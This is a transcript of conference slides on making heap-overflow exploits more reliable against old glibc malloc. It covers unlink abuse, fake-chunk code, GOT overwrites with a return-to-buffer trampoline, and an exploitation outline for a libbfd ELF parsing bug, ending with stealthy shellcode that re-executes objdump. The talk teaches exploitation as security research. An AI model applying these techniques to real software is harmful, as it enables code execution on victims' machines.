520 likes | 616 Views
“ Using the magic against the magician ”. Nicolas Waisman DSN Security, Inc www.dsnsecurity.com. Introduction. ( Basic skills on heap overflow will help ). Techniques to make heap overflow exploit more reliable Doug Lea’s malloc (<libc 2.3)
E N D
“Using the magic against the magician” Nicolas Waisman DSN Security, Inc www.dsnsecurity.com
Introduction (Basic skills on heap overflow will help) • Techniques to make heap overflow exploit more reliable • Doug Lea’s malloc (<libc 2.3) • Based on free’s unlink technique (see Reference [5]) • At the end, you will have a better idea about of how and when use serveral techniques that will help to make your exploit more reliable.
Basic Chunk’s structure allocated free chunk-> chunk-> mem-> mem-> nextc-> nextc-> | P
Chunks consolidation • Every time that free is called, the algorythm tries to • consolidate the boundaries chunks • Two types: • Forward Consolidation (Our chunk with next one) • Backward Consolidation (Our chunk with previous) • Objetives: Minimizing Fragmentation
Backward Consolidation • Check if the previous chunk isn’t in use • Locate the pointer into the previous chunk and “unlink()” it • unlink(p - p->prev_sz)
Backward Consolidation P 1) !(p->size & PREV_INUSE) 2) p = p –p->prevsz 3) unlink(p) P PREV_INUSE
Forward Consolidation • Check if the next chunk isn’t in use. To do this, it has to • check for flag PREV_INUSE of the next chunk of our • next chunk (the 3rd chunk). • Locate a pointer into the next chunk and “unlink()” it • unlink(p+p->size)
Forward Consolidation P 1) n = p + p->sz 2) !((n+n->size)->size & PREV_INUSE) 3) unlink(n) N PREV_INUSE
Taking advantage of Chunks consolidation • Changing malloc internal structure • Forcing free() to call unlink() with our modified chunk • Writing 4 arbitrary bytes (or more?) wherever we want
Exploiting Backward consolidation (writing 4 arbitrary bytes in an arbitrary location) • Fake our prev_sz field (taking PREV_SIZE flag out), in order to make free() believe that our previous chunk is free • Fake our size field in order to point our previous • chunk to our “fake” previous chunk. (p- p->prev_sz) • Finally, unlink() is triggered :D
Taking advantage of Backward Consolidation 1) !(p->size & PREV_INUSE) 2) p = p –p->prevsz 3) unlink(p) P (pointer-12) = shellcod_addr) P PREV_INUSE
Exploiting Forward consolidation (writing 4 arbitrary bytes in a arbitrary location) • In Forward consolidation, we aren’t forced to overwrite the malloc structure of our buffer to be free()d • We could just overwrite the malloc structure of our next chunk or fake our own structures. • Fake the size of the “next” chunk (3rd chunk) of our “next chunk” (take the PREV_SIZE flag, so free() believe that our 2nd chunk is free) • Finally, unlink() is trigged in our “next” chunk
Taking advantage of Forward Consolidation P 1) n = p + p->sz 2) !((n+n->size)->size & PREV_INUSE) 3) unlink(n) N PREV_INUSE
pbuf1 • /* abo9.c* • * specially crafted to feed your brain by gera@core-sdi.com */ • /* free(your mind) */ • /* I'm not sure in what operating systems it can be done */ • int main(int argv,char **argc) { • char *pbuf1=(char*)malloc(256); • char *pbuf2=(char*)malloc(256); • gets(pbuf1); • free(pbuf2); • free(pbuf1); • } pbuf2
“Reliable” exploit requirements • Function’s Pointer address (GOT, ctors,etc) • Shellcode Address • etc (Specific Cases)
Some techniques that helps to get our address. • Harcorded Addresses (wtf do I come from Bs.As..?) • Information Leaking (ask jp@corest.com) • jp’s UnlikeMe Chunk (Bonus Track) • Writing 8 bytes per free • Trigger as much free as possible • etc…
Jp’s UnlinkMe Chunk technique • Technique to trigger our fake chunk when we cannot predict • what part of our controlled buffer will be “free” • Using forward consolidation technique, our free will try to look • for our “next” chunk, using the p->size that will be one of our • -15, -19,etc, and this will take our “next” pointer to our crafted • chunk that is on a relative address of the place that free hits.
jp’s UnlikeMe Chunk (Bonus Track) (forward consolidation) ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE free()
jp’s UnlikeMe Chunk (Bonus Track) /* from jp’s article in phrack 61 Ref[3] */ #define SOMEOFFSET 5 + (rand() % (SZ-1)) int main(void){ unsigned long *unlinkMe= (unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;i<SZ;i++){ unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } free(unlinkMe+SOMEOFFSET); return 0; }
Writing 8 bytes per free() • Triggering forward and backward consolidation on the same • free will allow us to write 8 arbitrary bytes in 2 different arbitrary • position. • As we saw before, backward consolidation use as a offset • –p->prev_sz and forward consolidation + p->size.
Writing 8 bytes per free() • So, we need to put in our trigger chunk: • -prev_sz: (1) offset to our crafted backward chunk • -size: (2) offset to our crafted forward chunk. • And then, put our crafted backward and forward on: • -bk chunk location: trigger chunk - (1) offset • -fd chunk location: trigger chunk + (2) offset • Remember that our offset will be negative, so for example: • - bk chunk will be after our trigger chunk • - fd chunk will be before our trigger chunk
Writing 8 bytes per free (double consolidation) forward backward backward chunk trigger chunk forward chunk free()
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • This is a trick to “discover” our shellcode location without • knowing the address of the buffer where is. • We need to know the address of a function pointer (got,etc) • With our 8 bytes per free technique, on our first consolidation • (backward) we write on our function ptr the address of function • ptr + 4, on the second consolidation (forward), we write two • opcode (pop %eax, ret)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • Now… the next time our function pointer is called, we will • discard the real “return address” and we will be jumping to • the function argument.
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) pbuf1 • int main(int argv,char **argc) { • char *pbuf1=(char*)malloc(256); • char *pbuf2=(char*)malloc(256); • gets(pbuf1); • free(pbuf2); • free(pbuf1); • } pbuf2 got[free] = got[free+4] got[free+4]= 0xbfff3c58 (pop %eax; ret) \x3c\x58\xff\xbf pop %eax ret ( jmp pbuf1)
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) • int main(int argv,char **argc) { • char *pbuf1=(char*)malloc(256); • char *pbuf2=(char*)malloc(256); • gets(pbuf1); • free(pbuf2); • free(pbuf1); • } • Shellcode location • Function pointer ?? got[free] = got[free+4] got[free+4]= 0xbfff3c58 (pop %eax; ret) \x3c\x58\xff\xbf pop %eax ret ( jmp pbuf1 )
Writing 8 bytes per free (mixed with gera’s friendly function Ref[4]) int main(int argc, char **argv) { char *pbuf1=(char *)malloc(256); char *pbuf2=(char *)malloc(256); gets(pbuf1); free(pbuf2); snprintf(pbuf1, "HOLA",4); }
Example: bug in libfd (steps to make it more reliable)
Lib BFD BFD is a package which allows applications to use the same routines to operate on object files whatever the object file format. When an application sucessfully opens a target file (object, archive, etc), a pointer to an internal structure is returned. Note: I try many times to contact libfd developers, but I couldn’t.
Ejemplo de uso de Lib BFD #include "bfd.h“ unsigned int number_of_sections(abfd) bfd *abfd; { return bfd_count_sections(abfd); } Return the amount of sections in a transparent way without knowing the object file format.
Used by… • Most of binutils’s applications • gdb • objdump • nm • strip • etc
What is ELF? • Application binary format • Available in most than 30 platform • Used for 4 types of files: - Relocate Object Files - Executables - Dynamic Executables - Core dumps
Section Table • Array of Section Headers • Gives us information about the different file’s section (got, • .data, .code, .bss,etc) • Not necesary • strip – Delete sections from the file
typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; Offset to section Section size
bfd_elf_get_str_section (bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize = i_shdrp[shindex]->sh_size; shstrtab = elf_read (abfd, offset, shstrtabsize); i_shdrp[shindex]->contents = (PTR) shstrtab; } return shstrtab; } offset = sh_offset shtstrtabsize= sh_size
static char *elf_read (bfd *abfd;file_ptr offset;bfd_size_type size) { char *buf; if ((buf = bfd_alloc (abfd, size)) == NULL) return NULL; if (bfd_seek (abfd, offset, SEEK_SET) != 0) return NULL; if (bfd_bread ((PTR) buf, size, abfd) != size){ if (bfd_get_error () != bfd_error_system_call) bfd_set_error (bfd_error_file_truncated); return NULL; }return buf; } alloc lseek read file (fread)
#define objalloc_alloc(o, l) \ __extension__ \ ({ struct objalloc *__o = (o); \ unsigned long __len = (l); \ if (__len == 0) \ __len = 1; \ __len = (__len + OBJALLOC_ALIGN - 1) &~ (OBJALLOC_ALIGN - 1); \ (__len <= __o->current_space \ ? (__o->current_ptr += __len, \ __o->current_space -= __len, \ (PTR) (__o->current_ptr - __len)) \ : _objalloc_alloc (__o, __len)); }) align len= 0xffffffff OBJALLOC_ALIGN=0x4 (0xffffffff+3) == 0x2 0x2 &~ (3) == 0x0
struct objalloc_chunk{ struct objalloc_chunk *next; char *current_ptr; }; void objalloc_free (struct objalloc *o) { struct objalloc_chunk *l; l = (struct objalloc_chunk *) o->chunks; while (l != NULL){ struct objalloc_chunk *next; next = l->next; free (l); l = next; } free (o); }
Simple Exploit ? shellcode_addr ? function_p ? ? struct objalloc *o
Lets take a break… enough! Time to think… • Hardcorded addresses. • unlinkMe chunk ? • Trigger many free()s in order to write as much as possible.
Backward Consolidation with “lchunk” (triggering free’s) 1) !(p->size & PREV_INUSE) 2) p = p –p->prevsz P 3) unlink(p) P (pointer-12) = shellcod_addr) PREV_INUSE free(l) l->next l->current_ptr
Function pointer (got[free]): • Lot of possiblities to hit it • Targets of O.S. • common got incremented by four • struct objalloc_o • Raise the possiblity to hit it, adding 0x300 bytes of Addr to the first chunk • lchunk: • Address first chunk: Relative to the beginning of the file • Next lchunk: Relative to the beginning of the buffer (adding +sizeof(lchunk) to find the next contiguos lchunk)
Lets put all together ? shellcode_addr ? function_p next_lchunk struct objalloc *o
Bonus II – Doing a nice shellcode (lacria’s shellcode) • Exploiting an application to analize files • One shot • Make it the most stealth we can • Try not to mess up with the file analisis • No trace of shellcode existence
Patching the Section typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; Old values
Payload (infection, reverse connection,etc) push $0xa3f6569 push $0x62627574 push $0x656c6574 push $0x20756f79 push $0x20646944 xor %ebx,%ebx inc %ebx mov %esp,%ecx mov $0x14,%edx mov $0x4,%eax int $0x80
Re executing stack_top execve(“/bin/objdump”, argv, envp)